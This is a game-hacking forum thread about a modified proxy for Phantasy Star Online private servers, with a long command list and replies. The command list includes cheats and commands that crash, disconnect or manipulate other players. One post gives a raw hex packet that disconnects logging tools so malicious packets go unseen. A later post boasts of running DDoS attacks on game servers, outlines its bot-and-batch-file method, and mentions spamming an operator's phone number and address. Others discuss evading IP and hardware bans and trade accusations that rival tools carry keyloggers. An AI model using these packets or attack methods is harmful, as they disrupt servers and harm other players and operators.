Register for your free account! | Forgot your password?

You last visited: Today at 22:56

  • Please register to post and access all features, it's quick, easy and FREE!

 

PSOBB Hacks

Reply
 
Old   #76
 
elite*gold: 0
Join Date: Feb 2013
Posts: 17
Received Thanks: 1
here is a working copy of sodaboys pso firewall, SPSOF BB, this works on ultima, and eden as well as SCHTHACK.

so far ive only been able to get a few things to work..character level up and some item creation. i have not been able to find a working lobby fsod that works when sending it from a bb client. unfortunately my lobby fsod only works if youre sending the packet from a pc/dc/gc client to a bb client. so, if crashing players is what gets you off, use "HWC PSO RapeKit v4.20" which i posted in this thread a few pages back. i have found a way to disconnect SPSOF BB/GC users in lobby. this is useful if you are sending malicious packets and you dont want anyone using spsof to be able to log it.

SPSOF BB CLient Disconnect
0C 00 6C 00 01 00 00 00 0B 01 A6 06 00 00 00 00

if anyone is curious how to level up their character or make items, hit me up on skype, hewhocorrupts.skype

here is a list of the commands and the changes that have been made!

/////////////////////////////////////////////////////////////////////////////

cracked schthack's encryption algorithm

/////////////////////////////////////////////////////////////////////////////

- removed stupid random startup pictures
- changed the dragon ball theme to pso theme
- removed message truncation in console output

/////////////////////////////////////////////////////////////////////////////

- ma4level no longer waits on timers or idle packets but proceeds immediately on completion of events.
- ma4level accepts a base wait time command parameter that determines how fast the proxy will kill enemies.
The lower the wait time, the faster it kills them. default is 60 if omitted. If a base wait time is
provided and the random addon parameter is provided, the time the proxy waits before it kills a monster
will be vase wait + random number between 0 to random addon -1. When the game limit has been reached,
ma4level will keep trying to make the game instead of just giving up.

command:
$ma4level XX,yy

where XX is the base wait time and yy is the random addon

ex:
$ma4level
$ma4level 30
$ma4level 0,20

/////////////////////////////////////////////////////////////////////////////

added new command to make s-ranks

command:
$srank xxxxxxyy, name

where xxxxxx is the weapon code, yy is the grind
name can be up to 8 characters long which can be any combination of any of the following:
A-Z [ \ ] ^ _ a-z
(note a-z will automatically be capitalized for you)
Any other symbols will mess up your weapon's name but are accepted.

notes:
You must be in a challenge mode quest for this to work

/////////////////////////////////////////////////////////////////////////////

added new command to automatically make games for you when the limit has been reached.

command:
$forcemake

Whenever you make a game (if it succeeds or not) the proxy saves your most recent game creation parameters. When you
activate $forcemake, the proxy will try to remake your previous game. It will keep trying until it successfully makes
the game.

notes:
No safety features; 1. only use this command after you have actually tried to make a game at least once.
2. Use it only in the lobby

/////////////////////////////////////////////////////////////////////////////

can now connect to any ship (cracked the ip encoding method)

/////////////////////////////////////////////////////////////////////////////

added new command to make easy meseta

command:
$meseta amount

where amount is a decimal integer(not hex) and optional.
When supplied, a request for amount meseta is sent. BY default, a request for 999999 is sent.

notes:
Must be in quest.

/////////////////////////////////////////////////////////////////////////////

added ability to perform "asynchronous connection"; connect to a certain server with your choice of client.
Servers supported: schthack, ultima, basic tethealla, legacy (untouched)
Cleints supported: schthack, ultima, basic tethealla, legacy

You can use any client to connect to any server with this exception:
Schthack client only connects to schthack server.

To use this feature make a shortcut to the proxy's main executable file. Right click the shortcut and click properties.
Look for the target path and on the end(outside the quotes) put:
+X -Y
where X is one of: s, u, t, l to represent schthack, ultima, tethealla, legacy, respective servers.
where Y is one of: s, u, t, l to represent schthack, ultima, tethealla, legacy, respective clients.

notes:
Example of why this is useful; Can use schthack client 2 connect legitly to schthack server and open a tethealla
client and have it connect 2 schthack server using the proxy on a different username. (Multiclienting 2 clients)

/////////////////////////////////////////////////////////////////////////////

Removed automatic message size overwrite for custom packet send
Stopped type 0x60 custom packets from being sent to the client.

/////////////////////////////////////////////////////////////////////////////

added new command to automatically pickup items

command:
$autopickup FILENAME, amount

where FILENAME represents a file you specify (with the extension)
amount is optional and infinite if not supplpied. If supplied, autopickup will only pickup amount items
and turn itself off.

The file conatins one line per item filter and looks like this:
GGGGGGHHIIJJKKKKKKKKKKKK

where...
GGGGGG is the 6-byte code of the item
HH is the grind on that item
II is the special
JJ is the 'space' usually 00
KKKKKKKKKKKK is the attributes

notes:
- You can use xx or XX to symbolize "anything" (not 1x or x1, xx)

- You can put a '+' sign infront of any byte (except for the 6-byte code) to mean anything greater than or
equal to the byte immediately to the right

- You can put a '-' sign infront of any byte (except for the 6-byte code) to mean anything less than or
equal to the byte immediately to the right

- You can put a '=' sign infront of any byte (except for the 6-byte code) to mean anything equal to the
byte immediately to the right

- If you dont specify a sign and the byte is not XX or xx, a check for equality is assumed

- All bytes are in Hexadecimal form

- The attributes may appear in any order

- *Be careful of the case where you specify say native greater than or equal to 0. if the weapon doesn't have
native, native may show up as 0 in game but the weapon really has 0000
server item: 0000
filter: 0100
Basically no native is not the same as 0 native, and the filter looks for 0 native.

- There are no spaces allowed. The file parser is very strict.

- The layout is just as if you put qitem, setitem2 and setitem3 side-by-side:
qitem setitem2 setitem3
GGGGGGHH | IIJJKKKK | KKKKKKKK

- There is a limit of 250 item filters you can put in a file but you can make as many files as you like
and use one at a time

- There is no safety. If your inventory is full and autopickup picks up an item you will be disconnected.

- It can get very complicated so its nice to just make simple pickup rules like example 1


examples of lines that may appear in a file supplied with this command:

//Galatine with any grind, any special, any stats
000108xxxxxxxxxxxxxxxxxx

//Galatine with 5 grind, any special, any stats
00010805xxxxxxxxxxxxxxxx

//Galatine with any grind, any special, any stats (but must have 10 native)
000108xxxxxxxxxxxxxx010A
000108xxxxxxxxxxxxxx01=0A

//Galatine with any grind, any special, any stats (but must have 10 dark and greater than 30 hit)
000108xxxxxx05+1Exxxx040A

//Any level 30 tech
03021D00xxxxxxxxxxxxxxxx

//Galatine with 3 grind, any special, 00 for the 'space', machine, dark or hit (all >= machine) with stat greater
//than or equal to 30 and stats in only one area
000108=03xx00+03+1E00000000

/////////////////////////////////////////////////////////////////////////////

$ma4level now drops items

/////////////////////////////////////////////////////////////////////////////

Seperated the address the proxy binds to from the address it redirects connections to
You can enter 2 addresses in the proxyip.txt file

The proxy will bind to the first and accept connections from the client on this address
During proxying, the server occasionally tells the client to connect to a different address.
Normally, the proxy would just modify this message to make the client connect to the address
the proxy is bound to. The second address supplied in proxyip.txt is the address the proxy
will tell the client to connect to whenever one of these change connection messages comes up.

Why is this useful?
Suppose you are behind NAT and you want to accept connections from other people.
You can now tell the person on the other end to connect to your NAT server (usually the router) so
they would connect to the router's IP. Your proxy is bound to your LAN address instead of the loopback
IP. The router is set up to forward ports 11000, 12000, 10000 - 10020 to your LAN IP. Now when you
get a reconnect packet, you can modify the reconnect address to be the address of your router
instead of the actual IP the proxy is bound to. Now through port forwarding, this client (thats
on a different machine and probably not even in your network) can connect to your proxy.

/////////////////////////////////////////////////////////////////////////////

added new command to record quests

command:qrec name
example: $qrec myrecording

Use this command in a lobby to start quest recording. The proxy write all the info
it gathers into the file you specify. The proxy will record the game episode and type
as well as the indices of all the monsters you kill and what area you killed them in.
It does not record boss kills. When you are finished with your quest warp to pioneer 2
and then exit the quest however you wish (I recommend $leavequest). The proxy will then
automatically stop recording and the file will be complete. Make sure you do not go to
pioneer 2 while recording the quest. You can record more than 1 quest into the same file.
To do this, specify the same file name for subsequent quest records. They will be added
to the end of the file.

/////////////////////////////////////////////////////////////////////////////

added new command to record quests

command:qrec name
example:
$qrec myrecording

Use this command in a lobby to start quest recording. The proxy write all the info
it gathers into the file you specify. The proxy will record the game episode and type
as well as the indices of all the monsters you kill and what area you killed them in.
It does not record boss kills. When you are finished with your quest warp to pioneer 2
and then exit the quest however you wish (I recommend $leavequest). The proxy will then
automatically stop recording and the file will be complete. Make sure you do not go to
pioneer 2 while recording the quest (unless ending queust). You can record more than 1
quest into the same file. To do this, specify the same file name for subsequent quest
records. They will be added to the end of the file.

/////////////////////////////////////////////////////////////////////////////

removed ma4level and replaced it with qplay to play quests recorded with qrec

command:qplay file, [base], [random]
example:
$qplay myrecording, 20, 20

Monsters are killed at a speed of base + random.
If not supplied, 60, 50 is used.


NOTE: The Blue Burst proxy also has commandline parameters.

Use Sx to select skin of character when signing on:

ex. spsof_bb.exe S1 for GM skin

Skin list is as follows:

S1: GM
S2: Rico
S3: Sonic
S4: Knuckles
S5: Tails
S6: Flowen
S7: Elly

Use yyyyyy to set HTML color of character name.

ex. spsof_bb.exe 0000FF for blue.


Use -w to disable all windows for full screen proxying. (PSO won't lose focus then..)

ex. spsof_bb.exe -w


Update (07/08/2008): To use this proxy, you will need to add an entry into your
Windows HOSTS file, usually located in c:\windows\system32\drivers\etc, using notepad.

If you're using the Schthack server, you'll want to add a line that says:

127.0.0.1 gsproduc.ath.cx


Otherwise, if you're using the official Japanese servers, you'll have to add four lines:

127.0.0.1 psobb-ep4-db.segaonline.jp
127.0.0.1 psobb-ep4-patch.segaonline.jp
127.0.0.1 patch01.psobb.segaonline.jp
127.0.0.1 game01.psobb.segaonline.jp


After updating the HOSTS file, you'll need the proxy up before attempting to connect.

By default the proxy will connect to gsproduc.ath.cx's real IP address, as defined in
serverip.txt Though, if this IP address ever changes, you'll have to update serverip.txt
yourself.

The serverip.txt is a 4 line file.

The first line contains the IP address of Schthack's patch server. The second line
contains the IP address of Schthack's main server.

Both IP addresses are currently the same as of writing this.

The third and fourth lines are the patch server port and game server ports respectively.
Both ports are 12000 at the time of writing this.

If you specify the -a command line parameter, the proxy will attempt to connect to two
alternate IP addresses in serverip2.txt This is useful if you want to connect to
the Japanese server or any other Blue Burst server.

By default, serverip2.txt has the IP addresses of the official Japanese patch and
main server addresses in it. You will have to modify this file depending on what version
of Japanese BB you play. If you are playing the EP4 version, the file is already set for you.
If you are playing the non-EP4 BB, you will need to change the patch server port 11100 to 11000.


New to version 2.95 is the -o command line option which overrides the version ID sent by the client.
(Only useful when connecting to Japanese servers with a modified client.)



Chat module commands
--------------------

(Note: When typing a player's name for an argument, you can type their full
name or partial name. The player name check is NOT case sensitive.)

DO NOT PUT SPACES AFTER YOUR COMMAS.

Also, cursing is allowed by typing a $ inbetween your swear words.
Use $$ to use $'s.



Blue Burst Only Commands (NEW!):

$getpos x - Will return the current x, y, z, and h coordinates for the player x. If the
x argument is not supplied, it will return your own coordinates.

$setpos x,y,z - Will set the x and y coordinates for player z. If the z argument is not
supplied, it will set your own coordinates.

$seth x,y - Will set height x to player y. If the y argument is not supplied, it will set
your own coordinates.

$savepos x, y - Will save the current position of player y into positions.txt as label x.
If y argument is not supplied, it will save your own coordinates under label x.

$recall x, y - Recalls player y to previously saved coordinate label x. If y argument is
not suplied, it will recall you to coordinate label x.

$recallall x - Recalls all players to coordinate label x.

$it x - Attempts to perform an instant transmission to player x. If you are currently not
in their area, $it will warp to their area and then position you.

$qmarathon x,y,z - Loads a quest marathon text file for $qplay processing.
(See spsof_history.txt for details)

$qlearn x - Just before accepting a quest at a Hunter's Guild, use this command to
log your gameplay to a file. (Read spsof_history.txt for details...)

$qplay x,y,z - While in the lobby, use this command to replay your previously saved
quest gameplay and pick up valuable items which may drop. (Read spsof_history.txt
for details)

$ma4level - Starts a maximum attack level up loop. Levels you up while you wait!

$setma4 - Sets the parameters of the maximum attack 4 quest start packet.
(This is a semi future-proof command. It's not needed now if you invoke $ma4level
on Syrius or Horizon..., please see spsof_history.txt for more details...)

$ql XXXXXXXXXXXXXXXX - Loads a quest by 8 byte hexadecimal value, similar to
$setma4 but quest is loaded immediately upon command input.

$bpitem x,y - Exchanges Photon Crystals for items in the Dangerous Deal with
Black Paper quest. X = Route (1 for Rappy, 2 for Zu, 3 for Dorphon) Y = number
of Photon Crystals to Exchange. You must already be on the planet for this
to work.

$bp2item x - Exchanges Photon Crystals for items in the Dangerous Deal with
Black Paper 2 quest. X = number of Photon Crystals to Exchange. You must
already be on the planet for this to work.

$qitem x,y - Read spsof_history.txt

$qtech - Read spsof_history.txt

$easykill - Destroys any monster with 2 hits, bosses included. (Form by form)

$ks - Will easykill any monster engaged by nearby party members, giving
you full experience for the kill without doing anything. You must be
on the same map as the party members engaging to gain experience.

$immortalmobs - Prevents death of monsters on the same map as you.

$leavequest - Leaves the currently loaded quest.

$crash,
$wreck,
$badwarp,
$qfsod (updated as of v2.80),
$silent (updated as of v2.80),
$reload (updated as of v2.80),
$fsod (updated as of v2.80) - Various updated crash commands. Some work better than others.

$levelup - After killing an enemy type this to begin fast leveling up. Type it again to stop.
(Only works on Sega servers...)

$setitem1 - Complimentary command for $toggleforce. (It's like $makeitem 'cept it only sets values)

$toggleforce - Forces boxes to drop specific items. Items defined with the commands $setitem1 through $setitem4.
(This only works on Sega's servers and you MUST be the leader of the team.)

$newskin - Change skin (values between 0 and 7, change blocks to take effect)

$newcolor - Use HTML color code to change your displayed name color (Change blocks to take effect).
(Ex. FF0000 for deep red)

$clone x - Clones user x. (Change blocks to take effect)

$stopclone - Stops cloning a user. (Change blocks to take effect)

$settech - Quick sets up a technique to drop from a box. Use the same way you use $maketech
(Note that $toggleforce must be on for tech to drop.)

$teammate x,y - Spawns NPC y in slot x.

$rawquest - Toggles raw logging of quest data.

$questlog - Logs quest data. (Splits into the appropriate two file version..)

$tp x - Restores TP of user x.

$heal x - Restores HP of user x.

$firewall - Toggles firewall off and on.

$setmycid - Set's client ID to x.

$godmode - Restores your HP/TP whenever they are consumed AUTOMATICALLY. Type again to stop.
(If initialized with a parameter, it will heal the whole team..)

$maketech x,y - Makes tech X with level Y. Look at itemnotes.txt for tech numbers.
(Schthack GM only command)

$lw x - Warp to Lobby x (Valid values 1-15)

$warp x,y - Warp user x to location y. Where x is the user's name and y is the location to warp to in DECIMAL.

$warpme x - Warps yourself to location x in DECIMAL.

$warpall x - Warps everybody to location x in DECIMAL.

$reloadall - Reloads all players.

$pk x - Drains 255HP from player x.

$hide x - Makes player x invisible.

$hideall - Hides everyone.

$show x - Reveals hidden player x.

$showall - Shows everyone.

$npcfsod x - NPCfsod's player x.

$npcfsodall - NPCfsod's all players.

$disconnect - Disconnects Episode 1 & 2 users.

$fakequest - Initiates a fake quest.

$getgamelist - Retrieves the current block's game list.

$bigb - Big bubble chat.

$qfsodall - Quest FSODs everyone.

$fsodall - FSODs everyone.

$silentall - Silent FSODs everyone.

$forgemail - Sends out mail with a randomly generated guild card # (People can't reply to it nor can they block it)

$schat x - Forces player x to use "Hooray!" symbol chat.

$schatall - Forces everyone to use "Hooray!" symbol chat.

$lschat x - Forces player x to use last viewed symbol chat.

$lschatall - Forces everyone to use last viewed symbol chat.

$togglesteal - Enables or disables auto symbol chat theft.

$givesym - Enables the capture flag on last viewed symbol chat and outputs it to you only.

$wschat x - Forces player x to use "Weapon advice" w/s chat.

$wschatall - Forces everyone to use "Weapon advice" w/s chat.

$groove x - Forces player x to use dancing lobby animation.

$grooveall - Forces everyone to do dancing lobby animation.

$fakekill x - Forces player x to use fainting lobby animation.

$fakekillall - Forces everyone to use fainting lobby animation.

$run x - Forces player x to use running lobby animation.

$runall - Forces everyone to use running lobby animation.

$walk x - Forces player x to use walking lobby animation.

$walkall - Forces everyone to use walking lobby animation.

$action x,y,z - Forces player x to do action y. y's action value is in HEX.
If z is present, users do opposite sex version of action.

$actionall x,y - Forces all players to do action x. x's action value is in HEX.
If y is present, users do opposite sex version of action.

$toggleown - Disables auto owning of Guild Card numbers defined in autoown.txt

$reparseown - Reparses autoown.txt (Useful if editing file while proxy is already running..)

$event x - Sets lobby event to x.

$makeitem - Makes an item appear at your feet.
(Only works on Sega servers unless you're a GM on Schthack...
READ ITEMNOTES.TXT ON HOW TO USE THIS COMMAND...)

$setitem2 - Compliementary command to $makeitem

$setitem3 - Compliementary command to $makeitem

$setitem4 - Compliementary command to $makeitem

// Warp locations (Decimal)
// ------EPISODE 1----- -----EPISODE 2------
00 - *Pioneer 2 Episode 1 *Pioneer 2 Episode 2
01 - *Forest 1 *VR Temple Alpha
02 - *Forest 2 *VR Temple Beta
03 - *Caves 1 *VR Space Ship Alpha
04 - *Caves 2 *VR Space Ship Beta
05 - *Caves 3 *Central Control Area
06 - *Machine 1 *Jungle North(Amazon Ver)
07 - *Machine 2 *Jungle South(Mountain Ver)
08 - *Ruins 1 *Mountains
09 - *Ruins 2 *SeaSide Daytime
10 - *Ruins 3 *SeaBed Upper Levels
11 - *Sol Dragon EP1 *SeaBed Lower Levels
12 - *De Rol Le *Gal Gryphon
13 - *Volt Opt *Olga Flow
14 - *Falz Area *Barba Ray
15 - *Lobby 1(Your ID VER)*Gol Dragon
16 - *SPACESHIP *SeaSide Nighttime
17 - *TEMPLE(Stuck) *Tower 4th Floor
18 - *FSOD *FSOD
19-255 FSOD


// NPC VALUES (Decimal)

0 = NOL J005 HUnewearl
1 = CICIL J013 FOmarl (Fat)
2 = CICIL J023 FOmarl (Skinny)
3 = MARACA J019 HUmar
4 = ELLY J015 FOnewearl
5 = SHINO J025 RAcaseal
6 = DONOPH J026 HUmar
7 = MOME J012 RAmar
8 = ALICIA J018 FOmarl
9 = ASH J028 HUmar
10 = ASH J019 HUmar
11 = SUE J018 HUnewearl
12 = KIREEK J036 HUcast
13 = BERNIE J016 RAmar
14 = GILLIAM J035 RAcast
15 = ELENOR J012 RAcaseal
16 = ALICIA J010 FOmarl
17 = MONTAGUE J043 FOnewm
18 = RUPIKA J033 FOnewearl
19 = MATHA J008 FOmarl
20 = ANNA J024 HUnewearl
21 = TONZLAR J025 RAmar
22 = TOBOKKE J021 HUmar
23 = GEKIGASKY J012 RAmar
24 = TYPE:O J013 RAcast
25 = TYPE:W J020 RAcast
26 = GIZEL J018 GIZEL
27 = DACCI J014 RAmar
28 = HOPKINS J021 FOnewm
29 = DORONBO J014 RAmar
30 = KROE J025 HUnewearl
31 = MUJO J031 FOnewm
32 = RACTON J011 HUmar
33 = LIONEL J016 HUcast
34 = ZOKE J043 RAmar
35 = SUE J034 HUnewearl
36 = NADJA J014 FOmarl
37 = ELENOR J027 RAcaseal
38 = KIREEK J036 HUcast
39 = BERNIE J029 RAmar
40 = CHRIS J021 HUmar
41 = RENEE J028 HUnewearl
42 = KAREN J030 FOnewearl
43 = BEIRON J035 RAmar
44 = NAKA J010 HUmar
45 = LEO J010 HUmar
46 = HOUND J010 HUcast
47 = MADELEINE J010 HUnewearl
48 = VALLETTA J010 HUnewearl
49 = BOGARDE J010 RAmar
50 = ULT J010 RAcaseal
51 = TYPE:I J010 RAcaseal
52 = TYPE:V J010 RAcaseal
53 = TACHIBANA J010 HUmar
54 = OSMAN J010 RAmar
55 = VIVIENNE J010 FOnewearl
56 = BP J036 FOmarl
57 = SHINTARO J010 FOnewm
58 = KEN J010 RAcast
59 = TAKUYA J010 HUmar
60 = SOKONO J010 HUmar
61 = UKON J010 RAmar
62 = CANTONA J010 FOnewm
63 = HASE J010 HUmar
64 = --- J001 HUmar


// Event values

0 - Off
1 - Christmas
2 - 21st Century Mode (Obsolete)
3 - Valentine's Day
4 - Easter
5 - Halloween
6 - Sonic (No sound on Episode 3.)
7 - New Year ?
8 - Sakura
9 - White Day
10 - Wedding
11 - Fall
12 - Same as 0 but with red & white stripes across windows.
13 - Same as 8 but with red & white stripes across windows.
14 - Same as 0 but with the music from event value 12.



enjoy!




HEWH0C0RRUPTS is offline  
Old   #77
 
elite*gold: 0
Join Date: Dec 2011
Posts: 2
Received Thanks: 0
Does anyone have the CE address for warping from a quest to the lobby and difficultly change?


nothingtome22222 is offline  
Old   #78
 
elite*gold: 0
Join Date: Feb 2013
Posts: 17
Received Thanks: 1
$warpme x - Warps yourself to location x in DECIMAL.

// Warp locations (Decimal)
// ------EPISODE 1----- -----EPISODE 2------
00 - *Pioneer 2 Episode 1 *Pioneer 2 Episode 2
01 - *Forest 1 *VR Temple Alpha
02 - *Forest 2 *VR Temple Beta
03 - *Caves 1 *VR Space Ship Alpha
04 - *Caves 2 *VR Space Ship Beta
05 - *Caves 3 *Central Control Area
06 - *Machine 1 *Jungle North(Amazon Ver)
07 - *Machine 2 *Jungle South(Mountain Ver)
08 - *Ruins 1 *Mountains
09 - *Ruins 2 *SeaSide Daytime
10 - *Ruins 3 *SeaBed Upper Levels
11 - *Sol Dragon EP1 *SeaBed Lower Levels
12 - *De Rol Le *Gal Gryphon
13 - *Volt Opt *Olga Flow
14 - *Falz Area *Barba Ray
15 - *Lobby 1(Your ID VER)*Gol Dragon
16 - *SPACESHIP *SeaSide Nighttime
17 - *TEMPLE(Stuck) *Tower 4th Floor
18 - *FSOD *FSOD
19-255 FSOD
HEWH0C0RRUPTS is offline  
Old   #79
 
elite*gold: 0
Join Date: Oct 2011
Posts: 8
Received Thanks: 1
Is there any word on a new trainer? I tried broomops most recent trainer but it seems to be patched.


HuslerOne is offline  
Old   #80
 
elite*gold: 0
Join Date: Apr 2006
Posts: 194
Received Thanks: 55
Quote:
Originally Posted by HuslerOne View Post
Is there any word on a new trainer? I tried broomops most recent trainer but it seems to be patched.
nope its not .
Broomop is offline  
Old   #81
 
elite*gold: 0
Join Date: Feb 2013
Posts: 17
Received Thanks: 1
you can do everything that broomops trainer has to offer with SPSOF BB.
SPSOF BB has way more potential as far as cheating goes on schthack server.
with broomops trainer, youre limited to what he has decided to program and release.
SPSOF BB comes preloaded with a lot of stuff that you cant as easily do with a CE trainer.
packet editing is the main attraction with SPSOF BB...and the fact youre not being keylogged like with broomops trainer...if you have downloaded anything that has been released or endorsed by broomop...theres a 90% chance it has a backdoor/keylogger in it...THATS REAL TALK, SON!

anyway, here is some useful information on how pso packets work.



enjoy!
HEWH0C0RRUPTS is offline  
Old   #82
 
elite*gold: 0
Join Date: Nov 2011
Posts: 46
Received Thanks: 8
how do I make items on schthack with SPSOF? I added you on Skype but no answer. PM me please!
princeofpersia999 is offline  
Old   #83
 
elite*gold: 0
Join Date: Feb 2013
Posts: 17
Received Thanks: 1
ive only been able to make a few items while in quest. go and complete a quest where you get an item and look at the packet structure. im too lazy to give a crash course in pso packet editing right now....and im banned atm and im too lazy to unban myself.

hit me up on skype again, whats your skype name..
HEWH0C0RRUPTS is offline  
Old   #84
 
elite*gold: 0
Join Date: Oct 2011
Posts: 8
Received Thanks: 1
It would totally make my day if broomop or any other well versed coder can make a Eden trainer identical to the one broomop made for Schthack server. Unless there's already one out there for eden, that would be awesome.

EDIT: Also if the TC is still around, you should post the link of broomops new schthack trainer in the initial post so everyone can see it.
HuslerOne is offline  
Old   #85
 
elite*gold: 0
Join Date: Feb 2013
Posts: 17
Received Thanks: 1
yeah, link everyone to the keylogger/trainer! thats an awesome idea!

for a heads up to everyone who is hitting me up on skype, this is getting out of hand! i will only be offering help to paying requests.

contact me via skype to go over what can and cannot be done.
HEWH0C0RRUPTS is offline  
Old   #86
 
elite*gold: 0
Join Date: Jan 2012
Posts: 1
Received Thanks: 0
so do you have to be in quests that give items as rewards to obtain the items? I can't get that bit to work, rest seems to work well, thanks
leeop is offline  
Old   #87
 
elite*gold: 0
Join Date: Apr 2006
Posts: 194
Received Thanks: 55
Quote:
Originally Posted by HEWH0C0RRUPTS View Post
you can do everything that broomops trainer has to offer with SPSOF BB.
SPSOF BB has way more potential as far as cheating goes on schthack server.
with broomops trainer, youre limited to what he has decided to program and release.
SPSOF BB comes preloaded with a lot of stuff that you cant as easily do with a CE trainer.
packet editing is the main attraction with SPSOF BB...and the fact youre not being keylogged like with broomops trainer...if you have downloaded anything that has been released or endorsed by broomop...theres a 90% chance it has a backdoor/keylogger in it...THATS REAL TALK, SON!

anyway, here is some useful information on how pso packets work.



enjoy!
wrong on you can't do everything with a packet editor as that of a trainer. Real talk? you seem to just cut and paste peoples work. Lol real copying SON!

Quote:
Originally Posted by HEWH0C0RRUPTS View Post
yeah, link everyone to the keylogger/trainer! thats an awesome idea!

for a heads up to everyone who is hitting me up on skype, this is getting out of hand! i will only be offering help to paying requests.

contact me via skype to go over what can and cannot be done.
nothings getting out of hand you just have too much time on your hands... btw to work the eden trainer just rename the main exe to hxpsobb.exe thats it.
Broomop is offline  
Old   #88
 
elite*gold: 0
Join Date: Jun 2013
Posts: 5
Received Thanks: 0
Hi, I have a question regarding IP bans. How exactly are accounts tracked to a user's IP address? Is the IP recorded at the time of account registration or is it monitored from where the account was last signed in? and is there a difference between an IP ban and a "Hardware Ban"? Please any help?
Zinck is offline  
Old   #89
 
elite*gold: 0
Join Date: Mar 2012
Posts: 128
Received Thanks: 48
Quote:
Originally Posted by Zinck View Post
Hi, I have a question regarding IP bans. How exactly are accounts tracked to a user's IP address? Is the IP recorded at the time of account registration or is it monitored from where the account was last signed in? and is there a difference between an IP ban and a "Hardware Ban"? Please any help?
Each account keeps a history of every IP that was used when you logged into it.

Yes, there is a difference between IP and Hardware ban. Hardware ban is your MAC address. Both are easily by-passable and if I remember correctly, hardware ban is very faulty... meaning it doesn't work as well as IP ban does.

By the way, never download anything from Broomop. I know a few people who got ****** over by him earlier this year and last year.
chicken wingz is offline  
Old   #90
 
elite*gold: 0
Join Date: Feb 2013
Posts: 17
Received Thanks: 1
Alex,

You're a complete fucking faggot! I have never taken credit for anything that wasn't mine. The programs I have posted here all have been given the proper credit, either directly through my documentation or indirectly as it was and is obvious who crafted what. Because you're being a faggot, here is a rundown as to what belongs to who.

SPSOF: GameCube / SPSOF: Blueburst - Sodaboy is the originator of this program. He has also included credit to the people who provided him with the information he needed to make SPSOF happen. Those credits can be located at the top of any of Sodaboys releases. I am 100% comfortable providing anyone with any version of SPSOF as I helped Sodaboy create and add many of the newer commands / packets and protection. I am also directly responsible for why SPSOF was patched to begin with and the reason SCHTHACK has such a good lobby firewall. Specifically the BlueBurst lobbies. Here is a complete list of SPSOF: BB commands / features I had direct involvement with:

SPSOF JP Server support
$bpitem x,y
$bp2item x
$qitem x,y
$qtech
$levelup
$easykill
$crash x
$wreck x
$badwarp x
$qfsod x
$silent x
$reload x
$fsod x
$ddos
$ddos x,y,z
$noobtime

As well as a whole SPSOF:BlueBurst firewall revamp based on the new SCHTHACK lobby packet loophole I had discovered.

I also worked closely with Sodaboy when he created his SPSOS server software..as a matter of fact, when you create a new "team" on SPSOS, it still has my Handicap logo Team Flag as the default. I also helped him add Knights NPC support. And helped him add, at the time, some of the best protection that could be found in any PSO server project. A lot of time has passed since then and many individuals have added vast improvements to that protection.

SPSOF_Dev: Leebo's SCHTHACK Fix - It is obvious when you open SPSOF_Dev who is responsible for applying the SCHTHACK anti proxy procedure work around.



Mr.Chat / Mr.Lobby - These programs were crafted by an individual that goes by the name, CardGrey/Opeth. I came up with the idea to make a packet based bot that could connect to SCHTHACK Blueburst server and CardGrey made it happen. Later he also crafted a GameCube version (Mr.Chat) of this bot which is still fully functional to this day, but is kind of useless unless you like to have fun : D. This program was very useful to me at the time of its creation. As it allowed me to have many instances of itself connected to the server at any given time...they all had the ability to monitor and send custom packets. In 2007/2008 I used Mr.Lobby to connect to SCHTHACK and spam server requests, Uni Chat, LeaderBoard, Lobby Warp etc.., which caused the ships to crash and disconnect from the server gates. I remember when i first discovered how to launch denial of service attacks on SCHTHACK servers, (Uni Chat which is now disabled unless 'in a team : D) I spammed the server with SCHTHACKS phone number and address (given to me by Demon, a former SCHTHACK GM). Shortly after that happened SCHTHACK handed over control to Crono. Either my second or third DDOS method, I let it rape for a month straight and burned out the CPU and Motherboard of the computer that was being used to host the server at the time. Mr.Lobby was quickly patched and no one saw any use for it. I had an idea that I could never get rid of...recently I took the time to hammer out the details, I now use this program (Mr.Lobby) to launch DDOS attacks on SCHTHACK and SPSOS based servers. I also use this program to launch DDOS attacks on PSO2 JP servers, ship specific..which up until recently worked very well! I have made many changes to Mr.Lobby so that it is now useful for making connections to just about any ip/port I include in the source..The method I was using to make it crash SCHTHACK and PSO2 JP servers was controlled with a batch file. I had presented my idea to InfamousGramma and he suggested I go the Batch file route and also provided me with resolutions when I was stuck or could not accomplish what I wanted else wise. That was the only way I could get the results I was looking for. For example, when i was setting up HWC PSO2 JP DDOS, I compiled 48 bots looking at 13 ip addys and 48 ports and ran them in groups of 13 x amount of times with a batch file loop process. Each bot was programmed to do the hand shake with the server and port, upload a large amount of data and close. Rinse and repeat. This proved to work very well and still works on SCHTHACK. The reason I had to use a Batch file was because I'm not a coder by any means. It was easier to write a batch file for me then it was to take the time to learn how to actually code. I have no shame in my game, regardless of my coding experience, I was still able to achieve what I had set out to do!


Which brings us to, HEWHOCORRUPTS PSO Rapekit - This is a compilation of everything malicious I had learned over the years related to PSO and game servers. The public release of HWC Rapekit includes a fully functional PSO GameCube Bot (Mr.Chat) that connects through SPSOF: Gamecube to SCHTHACK server while giving packet send/receive control to its operator. I'm 99% sure no one else had thought to run Mr.Chat through SPSOF: GameCube. Its a shame I didn't think of this upon the initial SCHTHACK SPSOF: BlueBurst anti that was put into place in 2008. It had been many years since I was able to "play" PSO the way i enjoyed. SCHTHACK had blocked SPSOF: BlueBurst, all of my FSOD packets, all the good SPSOF: BlueBurst commands and applied IP specific cool down periods for server requests which pretty much stopped all my (at the time) DDOS attacks. Just recently i had gained packet control via SPSOF: GameCube and Mr.Chat. I started to fuck around and found out that one of my old "patched" lobby FSOD packets worked. I was surprised that it was a packet I had originally found on BlueBurst. It is a malformed Team Leader Transfer packet. What is even more hilarious is that this packet has no use on PSO GameCube. I had set up Mr.Chat and SPSOF: GameCube before Chicken Wingz had sent me SPSOF_Dev..so at the time, I only had one method for sending packets through the server. By the time Chicken Wingz had sent me SPSOF_Dev, I had already achieved my goal. But because of Chicken Wingz not realizing the server IP's had changed, which is why he asked me to see if I could fix it for him, I was able to find out why this Malformed Team Leader Transfer FSOD still worked when sending it from a GameCube Client. Like i said above, this packet has no use on PSO GameCube at all. You will never see this packet when you're on PSO GameCube unless someone is using it for malicious reasons. You can't log the Team Leader Transfer packet from BlueBurst Client, make the malformed edits and expect it to crash BlueBurst players. It will only crash players if it is sent from a GameCube Client. I'm 90% sure this is because they did not include a GameCube check in the server firewall when it is being sent from a GameCube Client and converted to a BlueBurst packet structure. InfamousGramma agrees. This has to do with how the server converts packets to broadcast them to each version of PSO that can connect to SCHTHACK servers.



